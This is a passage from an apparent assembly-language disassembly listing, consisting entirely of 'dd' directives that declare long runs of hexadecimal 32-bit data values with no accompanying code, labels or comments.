		dd 21F8E028h, 6A199994h, 15C09854h, 64F313h, 0B4BF263Fh
		dd 5C45A1F5h, 0DD6A9312h, 4AFA4C03h, 50490019h,	4036B5B4h
		dd 509042CFh, 6021B924h, 0F4035513h, 14AF1F8h, 0A11AE998h
		dd 2478E02Ch, 0E8005984h, 0B863FFC3h, 0FBF335h,	0D7A4780h
		dd 11C12186h, 342E1F28h, 8B01BE7Fh, 0C7F8EB3h, 4C22A9BDh
		dd 0A7F53C76h, 1306F8B8h, 8C88286h, 36698160h, 4CF6A71Dh
		dd 8E80DC94h, 3AE9413Dh, 0C5A6D900h, 0F59C25Eh,	1FA7593h
		dd 58C08115h, 0D4B0E99Fh, 9CA69D8Eh, 91A96Fh, 80D5812Fh
		dd 39E80527h, 1D05346h,	9A7A6714h, 12860E5h, 985C1F0Ch
		dd 0C173B002h, 3328EC0h, 48E462A0h, 0CF840074h,	9D76B540h
		dd 0F1C632C5h, 0E2827358h, 0FC83D458h, 0A08071B7h, 39C011D0h
		dd 26B62E73h, 39567848h, 0CC30A2B7h, 57F60F49h,	26C5148h
		dd 8C4C7C5Bh, 0F5189171h, 0F8BBA0F7h, 9A51821h,	437BC051h
		dd 9081E200h, 0F430FF68h, 0B03C0E2Dh, 0BFE02365h, 0ECB39B7Dh
		dd 0EE711E00h, 1DC46376h, 697377h, 1ADEDC61h, 6D9D7A3Ch
		dd 80BD2736h, 19E822B9h, 7A1D8E05h, 9C084AB7h, 0D8BDB851h
		dd 0FCCBCA14h, 0CDDEF883h, 0D437CC0h, 5244A498h, 2BC1F85h
		dd 798FC0B5h, 7B094E05h, 0F53B3400h, 7F97E531h,	57212C6Ah
		dd 5A0550DCh, 0D0473900h, 0D64F0844h, 0DFB0008Eh, 0FC9D555Fh
		dd 40A0185Eh, 0B52CCCA0h, 8012D0B7h, 41B09420h,	0E87D00E4h
		dd 749FD35Dh, 0F7EAFB22h, 9F5C30Bh, 55D41118h, 2B3D0h
		dd 6F5837F8h, 93EF63AAh, 1318391Eh, 811E82C0h, 0CF836210h
		dd 0E282EA8h, 0EC2204BDh, 0B4C886FFh, 0B45F1FADh, 0C4EF80B9h
		dd 65252ECFh, 0ABD0D400h, 289F8182h, 324F0E93h,	0F6E3FF58h
		dd 0ADE0276Bh, 0B7009766h, 745CF764h, 19145128h, 0A9ECEA1Fh
		dd 7D9822A9h, 32039973h, 12A2BADAh, 2A88886Dh, 0BCEC0089h
		dd 0F7CB7D0Bh, 0A100801Bh, 0B176B28Fh, 0B8484E97h, 0E8C07CF4h
		dd 7CF700B0h, 81D74A8Bh, 0A70540Fh, 0B6B0D0Ch, 182696Dh
		dd 0ABD8232Ah, 80EA18CDh, 0B5589A89h, 25759E83h, 8A43967h
		dd 9ABC8854h, 9E1A811Ch, 1C368E00h, 6412F1h, 0A6979406h
		dd 277402F8h, 52B2E1Dh,	1AD6ACC0h, 0B0DE47B2h, 0ED6600E9h
		dd 38CE4932h, 10F41F0Eh, 3DD5B400h, 22D1BB0Bh, 61B300B2h
		dd 0B966D06Dh, 5D007FD3h, 25DE5208h, 0DCDB99h, 8347A9CEh
		dd 8A6DE4DFh, 67A6E18h,	944B19h, 4EA05F9Ch, 8F18952Ch
		dd 0C3572D00h, 309B6946h, 0E547DECh, 12B0C783h,	0A0794220h
		dd 2030BC57h, 9CEA85Ch,	0CB593423h, 1E0FFB68h, 0A302E066h
		dd 0D5DF3h, 7CF1BE2h, 8F41EA2Bh, 0CB6248C0h, 257996h, 74D8D7BBh
		dd 0EE7D2E20h, 1E1A444h, 2FB77E86h, 80D95491h, 88555BB0h
		dd 0E62CAB84h
		dd 1C91894h, 0D91D2005h, 654ECA00h, 445AA8FEh, 5D48C2CFh
		dd 79E05711h, 63014394h, 105C9E71h, 47F848F4h, 5758C341h
		dd 790CD1C2h, 710A7797h, 31040002h, 6A5CD075h, 7D03ECADh
		dd 0E1531840h, 0FCBC8CEh, 3CDC00CFh, 61F9B293h,	6E00A7A6h
		dd 0E2576B46h, 281520h,	74549E96h, 0D0EE8A59h, 8999DF00h
		dd 1D821043h, 15930B02h, 0D2800419h, 7E986C9Eh,	0DC458400h
		dd 50ECDF5Bh, 43933AC7h, 46952D00h, 635FE6DDh, 0BC79053Ah
		dd 0E1120047h, 115AA668h, 0F858242Dh, 9F500783h, 0DBA072E0h
		dd 634BADE0h, 0B600C4B8h, 0D6FCCCD4h, 0C75412ABh, 4FD1ED50h
		dd 1142E046h, 9B27A700h, 0BEA2380Eh, 72C31D91h,	21CA18BAh
		dd 9B007F05h, 2E2134DFh, 38984C4Ah, 0A898A91Ah,	8DD70D8h
		dd 606058EAh, 0C0DAAB81h, 0E732305Bh, 0F0127D10h, 131E8A03h
		dd 0AE56438Dh, 0D6393008h, 0F0EB4C20h, 599ACA01h, 445261BBh
		dd 81BD96FDh, 4723010Ah, 0FE2700CAh, 0F9FC26A6h, 77243806h
		dd 729434Ah, 0AC06D88h,	309C4054h, 84029314h, 5E2FDF9Dh
		dd 0EEA8A0C7h, 7094C86h, 3DBC2216h, 0EC004B25h,	0DA63C2BBh
		dd 440590C3h, 0A2D81EEBh, 0F40740BFh, 0F539BDE4h, 4836AC0Eh
		dd 0A0E840D6h, 6031BCEAh, 1782E90Ch, 346058BEh,	0F542A911h
		dd 1F94E8C3h, 538993Fh,	60A023h, 5B0F28F4h, 0B40106D1h
		dd 33436AA6h, 0A983AF5Eh, 11CC884Dh, 0DA498FB8h, 8BF4E33h
		dd 217B98h, 0F05CCC8Dh,	0AD30677h, 0E3AC2D02h, 4040562Ch
		dd 9F8028h, 424693B8h, 26841241h, 8C749h, 1C5696CAh, 302B2CC3h
		dd 1EB0DECBh, 60FA375Ah, 244C4000h, 0FCB008D2h,	579C01C1h
		dd 85958C8Bh, 0EB2081A6h, 0C0E638B3h, 6D08204Fh, 0C6AB322h
		dd 0D87FD11h, 1B1EC2F0h, 0C4506231h, 0F0E61Dh, 5AA7DF09h
		dd 4531C775h, 33CE8300h, 0C229C65Fh, 64E20019h,	0DDD893BEh
		dd 6C91E113h, 8B9BA081h, 0CE18CA38h, 9B78D08Bh,	0F0020371h
		dd 0A5965420h, 0ABFC1840h, 942C4548h, 6A161024h, 3050AC39h
		dd 0DC303AC7h, 2C1B145Ch, 7FE038D3h, 0A70934C1h, 2148C3BBh
		dd 92BE5070h, 974EDC53h, 0B7197490h, 8051149Ah,	693C9854h
		dd 0B9AB9381h, 229EDB86h, 0E3EC0004h, 0AE74F8Ch, 2FA800CAh
		dd 72600524h, 0C40A0EFDh, 80910411h, 6018E547h,	38BD9AEEh
		dd 91BA5A21h, 260070CCh, 80B84A9Bh, 5458DED8h, 0EBCC28h
		dd 8C3E7215h, 0A9962B43h, 8CE8F52Ah, 0EB004843h, 2FA68C56h
		dd 80A8B59Fh, 1C494367h, 3B549464h, 6493FD04h, 7031A218h
		dd 1CC7452h, 0E309468Eh, 240557EDh, 0C600DD00h,	0C1B58255h
		dd 3329DF70h, 0D4085256h, 79262100h, 0C11DF982h, 5B51180Fh
		dd 960D79C5h, 0D14B6Fh,	0B73148CCh, 331924F5h, 87668018h
		dd 0BB24BADh, 0EC486250h, 81722F0Fh, 400962F6h,	43A1C0FAh
		dd 0E73000E8h, 0B6AEC422h, 7B006EA4h, 7C2FA5B1h, 7B71C68Ah
		dd 95C90AFDh, 14A89F82h, 0F2BDC8DDh, 75F30h, 1408079h
		dd 2BE4D0D1h, 7B082891h, 770506DAh, 2700B0EEh, 8A31DC8Dh
		dd 1812D18h, 4B54BFB9h,	26794EFFh, 5B850A30h, 0A79F8829h
		dd 48B94F80h, 14D9458Bh, 54F111A0h, 19876507h, 91C8CA98h
		dd 825B8055h, 8CA0C1B7h, 0ECD144h, 75198263h, 854F8B01h
		dd 5881C12Ah, 0BAD2A00h, 0D4A902Dh, 806C0BFDh, 9B001637h
		dd 6B1BA066h, 20264324h, 12CC8BC1h, 0A11857DDh,	2508E88h
		dd 844CADCCh, 8C405F6Eh, 0FA2CC19Bh, 131D24C4h,	4783AA02h
		dd 0E8DEC3F2h, 0ED82FB9h, 0DAFE80FCh, 38290F56h, 7E323E40h
		dd 9700E1C2h, 496A910Eh, 30144C44h, 45587435h, 94902F37h
		dd 3AF38001h, 52EDE196h, 82FC9059h, 8CC174C4h, 0CFCE44h
		dd 3C4682C0h, 203D3644h, 6058673Fh, 8330E041h, 0C98E007Bh
		dd 9C376DB1h, 0C41F2A23h, 134416F4h, 0C8838B39h, 0CC5100D9h
		dd 1456D1FBh, 44A48CEEh, 0AA825A04h, 0BF6268C1h, 82621920h
		dd 6C4035Bh, 49DE6505h,	20AC5DC0h, 18696CA1h, 0AB820857h
		dd 35CFC0C1h, 0FC1828ECh, 0EC3C5359h, 11924227h, 8A95725h
		dd 2321BA20h, 0E42D81B3h, 86C4ED48h, 8C895878h,	0E0BD01B8h
		dd 0A8190849h, 1C697094h, 80D0E96Fh, 8DDF46CEh,	11890B0h
		dd 8F1211C2h, 31D993ECh, 25A4DC79h, 3D02BC78h, 97DB9AC0h
		dd 45988085h, 1EE177Dh,	6113E3D1h, 0F0D5DD94h, 0B631BF46h
		dd 25E50C5h, 14D3A434h,	90B5B27Ch, 0CE27807h, 0EE22A0F4h
		dd 0C0604D75h, 7D599B18h, 43833E68h, 5A1FD003h,	0F100A92Bh
		dd 0C9A30A7Ch, 91826FCh, 0FD12B4AEh, 75BFE283h,	9BB71809h
		dd 0ED9825D0h, 3A5F0430h, 48110702h, 51BE2505h,	8FBA40ADh
		dd 82424CD8h, 4068137Ch, 3F18A580h, 2D1638B9h, 0C288036Ch
		dd 313EB381h, 3C8E0017h, 0DEDBDD8Ah, 24FE660h, 9B446CCh
		dd 0C841C675h, 5D28504Ah, 19C97695h, 0AE6C07EBh, 92BD0548h
		dd 0A554015Bh, 4C437EACh, 0B4036960h, 4C3A706Ah, 3BA8103Eh
		dd 99B0D67h, 90005910h,	1D556502h, 337C043h, 7859B48Dh
		dd 0FFF52105h, 7C27F7D6h, 84ABD85h, 0CC3D3CE9h,	414E1967h
		dd 5CF83B18h, 1184A869h, 0C81330E8h, 461A1640h,	55AD7C14h
		dd 40C12348h, 6E50933Ah, 471748DDh, 385B9C0Ch, 6F9F0051h
		dd 427F0C07h, 0DB18558Ah, 3D81121Ah, 30B0E84Dh,	78315C2Fh
		dd 0A30137C3h, 4594FFB4h, 0A18A600Ah, 0E1C8790h, 0EB00A9EAh
		dd 3351B499h, 0CE0CCCA4h, 11802A0Ch, 7B889812h,	96C31EC1h
		dd 0C82025A8h, 17AC0CA1h, 0DBD6E71Eh, 61230302h, 0CC8F43h
		dd 2D504278h, 0D11C00Ah, 0F1A637D0h, 0C351FF00h, 5A0C7CB0h
		dd 0DC69D07Dh, 58B810h,	0E94796A5h, 523595B4h, 0D606A084h
		dd 58869DE6h, 0F0CCA59h, 66635B0Eh, 0F21097BAh,	80A1C0B8h
		dd 0EF77AB05h, 5C01D5Ch, 6B370B3Ah, 0CA108400h,	0F828F1h
		dd 98A5FEFCh, 598AC074h, 50804504h, 3492515Ah, 0D40BE4Eh
		dd 47B9BA25h, 0B0400C68h, 0DEF743Ch, 1EF4EE5Bh,	1E8C07F0h
		dd 13E1C942h, 0AB9C4366h, 392AB912h, 0D49854C0h, 0A9BCF754h
		dd 4CD5DC88h, 0B4305015h, 2F9ABD41h, 6C09BB72h,	29077C41h
		dd 31002ACh, 55F91096h,	1ADF0CA0h, 42046144h, 1BB7115Ch
		dd 10521408h, 0B4C38800h, 4C119B31h, 0C4C5CC8h,	56015023h
		dd 88C0EE82h, 21C0C818h, 0BD825E15h, 3FB50798h,	0B2AC228Eh
		dd 80A076FEh, 0EB61A173h, 0FFF930F3h, 0B7017578h, 3E481D86h
		dd 0C0349E93h, 90319047h, 644085CCh, 0F52360CEh, 0DE3605E3h
		dd 4390E104h, 4A87D7A8h, 0C14BFC0h, 35BC000h, 0FAB460C5h
		dd 0C18B2C58h, 8CF4942Ch, 5690BD31h, 74FF31FDh,	830FDB2Ch
		dd 0C9C66ACCh, 0C4ACC5D8h, 0F70A60C1h, 48430004h, 4E40662Ch
		dd 914A5FCh, 9E09334h, 0C0EF15EEh, 3E0B6E4h, 0C379E848h
		dd 84C58B1Fh, 1E2CC1FCh, 28F8009Ah, 439FE5Ah, 0CABC31F9h
		dd 0DAEB80CBh, 0FB0087E9h, 8BBD9B5Eh, 0F81BD288h, 82832C96h
		dd 3321003Bh, 89C9CD4Ch, 11FD6500h, 0D8CE495Dh,	0EB41876h
		dd 8F19887h, 0E186CA00h, 0FD8C15B3h, 0B25E1CEEh, 4C12426Ch
		dd 47E128DBh, 0F438D45Dh, 0D23EB4EEh, 0E82006Fh, 0D7505CA7h
		dd 0E8043A67h, 65F1000h, 556C31DDh, 7314CB06h, 6008936Bh
		dd 0A42B21DEh, 0F9390231h, 992280F6h, 0B63DCB53h, 384403D2h
		dd 0AB69D4E8h, 606058D3h, 0B3C29320h, 0E640C0D2h, 0F85D32D7h
		dd 5CF12F18h, 1C373010h, 36FDDA7h, 0A457D40Ch, 5E9C0818h
		dd 6E9A20h
		dd 11E714A7h, 0FFF5D61h, 57DFA900h, 0AAD90CF9h,	30D05001h
		dd 3C7000CFh, 8FAE8B79h, 4B01D873h, 0B8D2B172h,	5BC05ACEh
		dd 0B5CF7F2Bh, 0D660F370h, 32B83739h, 48C0183h,	0B454E751h
		dd 0A6E5D050h, 0EAA988C0h, 58795F2Dh, 0FA00B7F0h, 5B0937C4h
		dd 0E80C87F4h, 0B07148A2h, 0F93F0B10h, 10006716h, 2AF3DA33h
		dd 0E0F708C6h, 2E9D0020h, 6EED4616h, 3B14BB50h,	68CD2D3h
		dd 604B6391h, 1C6900B0h, 0D5E786B0h, 7700FEF4h,	4E95B5DCh
		dd 1FF05644h, 0C0C0051Fh, 3E3B5B2Eh, 2003512h, 6E62A3C4h
		dd 18E58EB4h, 8C571DD7h, 1700795Ch, 9EA83EA6h, 215112h
		dd 0D3949EFh, 67BCA35Bh, 95847B0Fh, 11AC00F3h, 7D5759h
		dd 3B64D589h, 5ADA8F66h, 35F838h, 7C72D473h, 75D7D14h
		dd 0FA1F2058h, 6E66E0E2h, 28C45BE6h, 2A446F84h,	1443427Bh
		dd 0F22302E3h, 28042825h, 974A06B4h, 0F1BE0814h, 0BC708C88h
		dd 1B220222h, 10564205h, 840055B0h, 61CFA579h, 6576EA64h
		dd 7A0E8801h, 4D874F89h, 273CE8h, 1BF376E6h, 0B8425A73h
		dd 0D93A351Eh, 1DF4B3D4h, 2000DDF8h, 57C5E770h,	0F5390373h
		dd 98E45229h, 2F3CE2A0h, 80F80B3Ah, 4BA5C6EAh, 0D79349h
		dd 4A7D66C5h, 2D6CAA44h, 0AE1DA00Ch, 0CF2869h, 0AD12D3A1h
		dd 0CDA5A933h, 2F00E775h, 0B91E6083h, 0EC8E118h, 866A3ABFh
		dd 0DF8C7080h, 96005FE5h, 1551C197h, 0D92E55h, 1A05061h
		dd 3B03B6Fh, 0AC98B4EAh, 5A05A700h, 62AF9DE8h, 2F6F0738h
		dd 405FB38Ch, 3EDE6D4Ch, 99F011E6h, 861D9000h, 5D1E6509h
		dd 17B6001Fh, 3627BEBAh, 0FA005AA4h, 0E3330551h, 153664Dh
		dd 192D44C3h, 0EC0AA277h, 2A00478Fh, 4C3F687Ch,	7E06A3h
		dd 9570CA6Eh, 8FD3A807h, 4B202D00h, 68289FAEh, 626E00EEh
		dd 0B05CE206h, 0EC003D43h, 0C9E109AFh, 0FA940EC7h, 0EC3873F0h
		dd 31D30F66h, 7DC02479h, 4937F60Ch, 7BC53C00h, 0DFE48A72h
		dd 12310094h, 50DC6D65h, 0C4002BC6h, 0D3A22A3Ah, 3064C7DBh
		dd 77A0873Fh, 0D77B278h, 8BC9EC00h, 0A49A2256h,	479C07FEh
		dd 0F0E0C4C3h, 0C8A16967h, 2F897801h, 1EF1FF5Fh, 772821C8h
		dd 52BE00ACh, 0F7A31D72h, 0D0F854Ah, 114B0Bh, 93CC0788h
		dd 22E4008Dh, 383D16CDh, 0B30042E6h, 51B26D47h,	24B5433Ch
		dd 80DC14ACh, 5CA33A0Dh, 5812FB27h, 0F2180F35h,	13D3290h
		dd 526F5DDDh, 61931745h, 60950351h, 0D2A50B8h, 47630F07h
		dd 4B909E20h, 0F27D10h,	6F08A1B8h, 2494F081h, 4D9D1200h
		dd 614B7EEFh, 6419586Dh, 6E1FAB05h, 89D00C57h, 9D72277Ah
		dd 0F4963Fh, 32A352FEh,	0E622A8h, 0C765B4AFh, 0E5271EA0h
		dd 8E462C12h, 1832614h,	0CA6901A3h, 0FDC17D8Bh,	0F461D2DCh
		dd 369D6067h, 0D4A7B339h, 128E758h, 6044120Bh, 7830803Fh
		dd 956B39BAh, 6E575C80h, 3D232699h, 369B4E00h, 5D87A3E7h
		dd 80FA0FEDh, 57E0BC5Ah, 13399882h, 0D3380D00h,	0FA89E562h
		dd 12C70AFCh, 0AC72B4h,	131BB31Dh, 4100447Fh, 6B2BCBB0h
		dd 0CC3754h, 0E9FCADC2h, 0BFC4CD62h, 3D3F0C00h,	5DE52DF3h
		dd 0F1BD00D3h, 0DC3C16D2h, 57000468h, 8644FA1Ah, 0BFB4A3h
		dd 988587B1h, 19E8C66Fh, 0BBE63000h, 65320B7Dh,	5EE90309h
		dd 3D8E76F2h, 5DFAF1B8h, 1700A579h, 0B22D8092h,	1F2AF893h
		dd 83E737B6h, 0DCEBCF3Bh, 0F7F9BEF0h, 0AA1CFB01h, 49B2A9FEh
		dd 7E3BFC0h, 5A9F28D4h,	9D68E022h, 0E590C691h, 0E1703D02h
		dd 48308419h, 91A95728h, 0DCC70FB4h, 5665875Ch,	4452058h
		dd 27001908h, 732F0A74h, 0F80F80h, 0E2DE3E59h, 8CD95C6Dh
		dd 310C497Ch, 29480578h, 0F0AE01D8h, 64D1C29Dh,	511FE498h
		dd 7EC0A903h, 0D004B348h, 13D3ABh, 65086F62h, 660FEADDh
		dd 0E31B9400h, 4095BB37h, 0D97EE0h, 0F13ED73Bh,	50B5928Ch
		dd 0CCAB24h, 0F7A23A00h, 2E9C7E8h, 0C651AD0Eh, 98C0243Fh
		dd 6000704Ah, 5D802AD1h, 9F11Dh, 93124F61h, 0B032EFDCh
		dd 410094E6h, 23FCD74Eh, 0C04A2F57h, 0D093B46Eh, 5C008DAEh
		dd 9BF3E91Ch, 3A3E510h,	0EDB1682Bh, 9CD83A5Eh, 3700B941h
		dd 1419553Eh, 0FB8451h,	5A8A13F7h, 0F920B2DAh, 0A80BD400h
		dd 6289212Eh, 3DC00094h, 0F0FDBA1Dh, 0D700C29Ch, 6FCDAFEFh
		dd 74068EDh, 5A940C39h,	8098F97Ch, 2374DE08h, 0FE8C52C0h
		dd 7D1F0B1h, 0C31E3006h, 3FAE30D4h, 0FA013E70h,	0C04DA940h
		dd 6BCC0162h, 0EF46022Dh, 19371BCCh, 3628BA40h,	487F4E00h
		dd 659BB196h, 15AD070Ch, 407D41B7h, 491D5AAFh, 6EDAC102h
		dd 0E0FACB9Dh, 0EE0D4063h, 0D6D6E8B5h, 493A1418h, 182FCB0Fh
		dd 81F26720h, 5C001022h, 0A1958E6Fh, 7CFED9Ah, 88BBF66Ch
		dd 68E86043h, 0D07C4ACh, 0F831BF4Ch, 892C2440h,	8A1C0F9Ch
		dd 0ECC0E372h, 6A794ED7h, 27205704h, 0DCC2F87Ah, 13984442h
		dd 0DC733Fh, 16C6B484h,	4398F0D9h, 0EF57A700h, 0E9074A09h
		dd 0AD9631A5h, 606634C4h, 5C7A0E00h, 0CE2B4401h, 0B4C08CE9h
		dd 16196C30h, 60A90B6Ah, 700EC13Ch, 9A424800h, 0D14B1EBDh
		dd 58E00017h, 0A9B68C5h, 8B034F1Dh, 2DD56BAAh, 74CA032h
		dd 0AE93A030h, 3E8A375Fh, 0E84673B8h, 0C4F466B1h, 18C09DA6h
		dd 0CC72B6A0h, 793F0069h, 47AB6256h, 514CBF16h,	0D8210099h
		dd 55EBCA45h, 41050010h, 67F7636Fh, 8E002D59h, 0D5F3C4B7h
		dd 94B616h, 4DBB2A35h, 9F86DD19h, 6EF7CF0Fh, 48068072h
		dd 37613C6h, 64E0976Ah,	9801FDD7h, 1EBAD91Ah, 0E065A637h
		dd 0DE26C0h, 0F79F8CAEh, 573FB2C4h, 2E412700h, 952F4061h
		dd 42080078h, 0C3292379h, 1807C28Fh, 0E650D662h, 0A801A555h
		dd 0ACDF3D31h, 0E3D44700h, 49B9D000h, 0D90C6A73h, 0CDD4CF5h
		dd 0E67E4E00h, 9F52BF28h, 25928913h, 8479F600h,	0E0653659h
		dd 0C868009Eh, 96AA88A4h, 0E7001767h, 4FAF723Bh, 7D408B7Ah
		dd 3EF915A6h, 0F21EB875h, 0E8958452h, 389480DEh, 541811C0h
		dd 1A10DCCAh, 0CC0E184Eh, 0A5CD314Ah, 0DE5A500Bh, 38EC80BBh
		dd 0EAB8B78h, 27660889h, 394FA8E0h, 93009D55h, 87971942h
		dd 0E6C2D7h, 45B8E338h,	33D8C320h, 9578B00h, 0F521AA27h
		dd 0FFCF00F0h, 17947F78h, 96EC3991h, 9AB29C1Eh,	0D7545BC0h
		dd 7F2A416Fh, 4F14014Dh, 0FF327CC3h, 0BBDC70B4h, 4339D200h
		dd 20A27EFAh, 9B230028h, 6F57F74Eh, 4DE2CFA5h, 0EB366000h
		dd 5F9FBBE7h, 0F15D0097h, 0B13DC32Bh, 3F1EE2F8h, 0E14063E6h
		dd 6FA97C47h, 24E0E5h, 0FB193A0h, 0F677159Bh, 0BA739700h
		dd 6BD86839h, 1C47C2Fh,	75FA455Ch, 68CA0F06h, 1C38052Ch
		dd 24805A85h, 7C127Dh, 0AC315FF3h, 0C7D52B93h, 0DCD13700h
		dd 4AC209A2h, 242A00B9h, 4CDE695Fh, 5018C08h, 9C9E73C3h
		dd 48355229h, 98FAE6D8h, 0A08E589Fh, 66125F01h,	40351D8Bh
		dd 0ADD27AD4h, 65D60900h, 0C077B110h, 0BBC5009Eh, 2AC698BCh
		dd 0C00754Bh, 112F507h,	0CA0BBEh, 0FC804E8Ah, 8201B95h
		dd 0B24B7B0Eh, 20278FC2h, 6884FE5Eh, 2EA50076h,	6DB3CBEAh
		dd 0F8C00CA2h, 2E22C9Fh, 782000E0h, 434B6006h, 0BC001293h
		dd 15B8FA70h, 3F3B4EC6h, 64827B82h, 0A5EE2EAh, 0F5C1F6E0h
		dd 2DE2287Fh, 94CB510Bh, 0DC0200BBh, 793C5FAFh,	13780165h
		dd 4C76A524h, 8883E486h, 44A7E900h, 5A74ED34h, 27680B32h
		dd 500037FFh, 45041384h, 60C39A00h, 74AA7FC0h, 0BBB30057h
		dd 0F554A18Ah, 2F2EC4E5h
		dd 0C100B571h, 0EE034AD4h, 85E274h, 6A8A7BE3h, 0C52E5082h
		dd 0F802DE00h, 48528920h, 4C3D164Bh, 0D0B01532h, 4F63EB00h
		dd 0CD782916h, 92C73524h, 0A4B58700h, 7289A3h, 0B24C7D9Fh
		dd 0BF5AE2CCh, 92598500h, 6BA65473h, 145249A3h,	47CAE002h
		dd 0C980348Fh, 0C221ADC4h, 405D58h, 0B9074B92h,	0CB3F0Bh
		dd 6706547Dh, 0A1A28CDCh, 769A5F00h, 448BCE85h,	494200D0h
		dd 0EFE4C145h, 541C034Ch, 0B58A8140h, 47008537h, 58260286h
		dd 62400B2h, 0D08EF99h,	0E800E404h, 5FBEFC94h, 0CF7BFD34h
		dd 62E0E231h, 4356EE1Dh, 0A9A40F01h, 3FBE1136h,	39E01031h
		dd 0C4440017h, 0B08B82B6h, 0E2047388h, 0BB6FFFE5h, 247E6CC0h
		dd 0C680054h, 86F95120h, 98A836AEh, 0D012F362h,	0FCC3CC35h
		dd 0B043BD3Bh, 984A5574h, 0B7B87Bh, 645482A6h, 0EBA7ACC4h
		dd 660EDF00h, 0FA071E2Ch, 49E907CDh, 0B089697Ah, 1C0F8722h
		dd 5BCAFE00h, 1F40AC8Dh, 0DE1A2E67h, 0E5123FFCh, 2C2888F6h
		dd 38063E00h, 0CC2971Fh, 0F3CCA8E3h, 83BCA8ECh,	0F9BC099Ch
		dd 0EE8F14F7h, 0B47FFDE4h, 8024F44h, 6AF60CFBh,	2AC7804Ah
		dd 12DA04Ch, 0C4050F9Fh, 0E0A9ECEBh, 0EF01FE65h, 0CA3B6472h
		dd 9BFC7980h, 0B50D3D6Eh, 700394Ch, 4024011Dh, 0A400E93Eh
		dd 85238310h, 1E38A51Ch, 802D64A2h, 0ED03CDBh, 0A10055EAh
		dd 0B57C06E8h, 629E03h,	0D330B98Bh, 452ADAA6h, 1AA77300h
		dd 799FBA77h, 11713Bh, 0B160C15Eh, 2C0C0293h, 6CB96514h
		dd 6E8B03C6h, 0F17CD25Ah, 0ED52991h, 4D94C0h, 88F3C52Dh
		dd 74D4DF7Ah, 8C57CC00h, 0A798513Fh, 5FF00022h,	0A21B4FBDh
		dd 0BB7BBAE1h, 508CC100h, 72911813h, 7675B4h, 38CE6ADBh
		dd 58EF8A07h, 0F9E89700h, 0FCA1D7CBh, 2C374844h, 645C3B0Fh
		dd 0B5E09DCEh, 82B756A8h, 8F03AB90h, 0ACBC2D73h, 24DCF1CDh
		dd 465E03F3h, 0F90DEDD9h, 0FB50D4F8h, 132A23Bh,	0FCF63F9Ah
		dd 0E8242A97h, 484C257Ah, 0F25F3800h, 8C48325Eh, 780412D0h
		dd 5C17F8C0h, 0DA0526AFh, 481284ACh, 1FB480BDh,	580542B8h
		dd 0F8296EABh, 68C4FC07h, 0EB2E0A0h, 761B006Bh,	520DF579h
		dd 0D14C9D67h, 1C4C0008h, 4717F106h, 0FA1907Fh,	25C24A61h
		dd 54408076h, 0F0009799h, 32F5DF0Fh, 4EC859F6h,	1721A868h
		dd 780060A6h, 4FDFF9CBh, 874041Ah, 0C0D5C195h, 9A88ECF8h
		dd 0E61E59F8h, 600B9C7h, 0DC0C2754h, 0A88500B2h, 1F4BAAB4h
		dd 332CAB2Fh, 4A00F822h, 7515BFECh, 8EE670h, 823DCE62h
		dd 6A660977h, 3E079EE6h, 23F78195h, 0A52AD4E0h,	9DE30F68h
		dd 4A80EF34h, 60E0E10Ch, 458CE700h, 68D4F5EAh, 0DC914CCAh
		dd 0F89CAFC0h, 0A0061C0h, 193AB33h, 0C1BF90h, 3DC76E1Ah
		dd 280DAAD5h, 64733712h, 0C1C4003Bh, 0B1C46324h, 26F8CC79h
		dd 20D0056h, 0A91B2E2Dh, 0F74C8049h, 0F8D10344h, 128D0EB3h
		dd 963779h, 6A5A88DCh, 901F202Fh, 5BCF4A9Dh, 9F758057h
		dd 265031h, 3CE98C36h, 91428064h, 6916C4B0h, 601D8F2Bh
		dd 5DEF8E80h, 28481098h, 0FAE0BC5Ch, 0C46500E2h, 14CBD037h
		dd 1703558Dh, 2631614Ah, 481F983Dh, 0DB13015Fh,	0F41D5810h
		dd 0B9C9E84Ch, 0F204B700h, 0D672157Fh, 0E05F7E9Eh, 50EF0C8Fh
		dd 0A0C67BCFh, 0F3004BF4h, 0F95EF845h, 211DE8h,	1203C67Eh
		dd 11C3082Ah, 0CA016EB0h, 9BE0D7ADh, 589C1339h,	80C252DCh
		dd 41B520Ch, 42DD1700h,	0ECD447C7h, 0AEB30138h,	0AF73CBDAh
		dd 0D95C21B2h, 0D550D47Fh, 9A111400h, 6D2B2C08h, 733C3FD1h
		dd 180EF103h, 93F98250h, 6647CCEDh, 67ECB800h, 3E9D8526h
		dd 5C520055h, 0BB2C646Ch, 10983D45h, 3AF081F9h,	0C947CD7Bh
		dd 0C551E0DBh, 0A8D14863h, 80189937h, 6B35EC58h, 0BC200763h
		dd 4401A0BBh, 265D792Bh, 8038FAFCh, 0C97D5561h,	61DF21BAh
		dd 843FEAC3h, 231C6DEh,	921C426Bh, 84A13A1Bh, 8136FCB8h
		dd 59C2CB31h, 0F7608EB2h, 0FB64156Fh, 0B73010BAh, 46A57B38h
		dd 35E4C900h, 5FD34FFFh, 0C25B02C3h, 79541B8Bh,	0BB405140h
		dd 873B513Fh, 0FC0FD69Bh, 0A0CBE953h, 4B8C474h,	80665D25h
		dd 0F65E8027h, 56B09F94h, 0C6EAA500h, 9671AE6h,	59F40013h
		dd 0F5B8578Ch, 0DD01E15Ch, 0DC38867Ch, 0BFD4DE90h, 11EB0009h
		dd 63C150C2h, 9CF65A59h, 79C53EC0h, 0B8AE90h, 0DFC2F882h
		dd 0C0D21A8Dh, 760037EAh, 97539F6Dh, 3136FBh, 8A91A458h
		dd 0B373AF44h, 95CF6607h, 6070CECDh, 0B498DAh, 0C753F4D1h
		dd 5C741072h, 0FD00BBEEh, 0A751A979h, 0FD29A1Bh, 782F3DDCh
		dd 49546920h, 6B028CB5h, 0FC73E4A5h, 11BCA089h,	7B675997h
		dd 97907EBh, 0A38E07B7h, 0C7AB8652h, 0D7D472F8h, 0D0211F3Fh
		dd 13009BC0h, 0F416E1BBh, 0FFC295h, 0CF56C80Ah,	50D20E82h
		dd 11F37101h, 0A1BC49B1h, 0E46E689Dh, 0A9974010h, 5417D307h
		dd 0B500152Eh, 0BDA82264h, 747E3B6Eh, 8BAD2780h, 7626E6C8h
		dd 0F2009E74h, 700B6FCEh, 0FABC9Ah, 0C02F5A8Ch,	8AB150F1h
		dd 987ED03h, 0B3437857h, 0AB500EA1h, 0B1402D59h, 0E10282FFh
		dd 30DB0A00h, 3C1BEC64h, 0B43524C2h, 465C002Ch,	0E0BD2662h
		dd 72AD5201h, 0B17D85DDh, 0B926074h, 2FF92724h,	23423020h
		dd 0F70B56C4h, 8054B622h, 570AD2ADh, 1FAB00F2h,	0F9129E18h
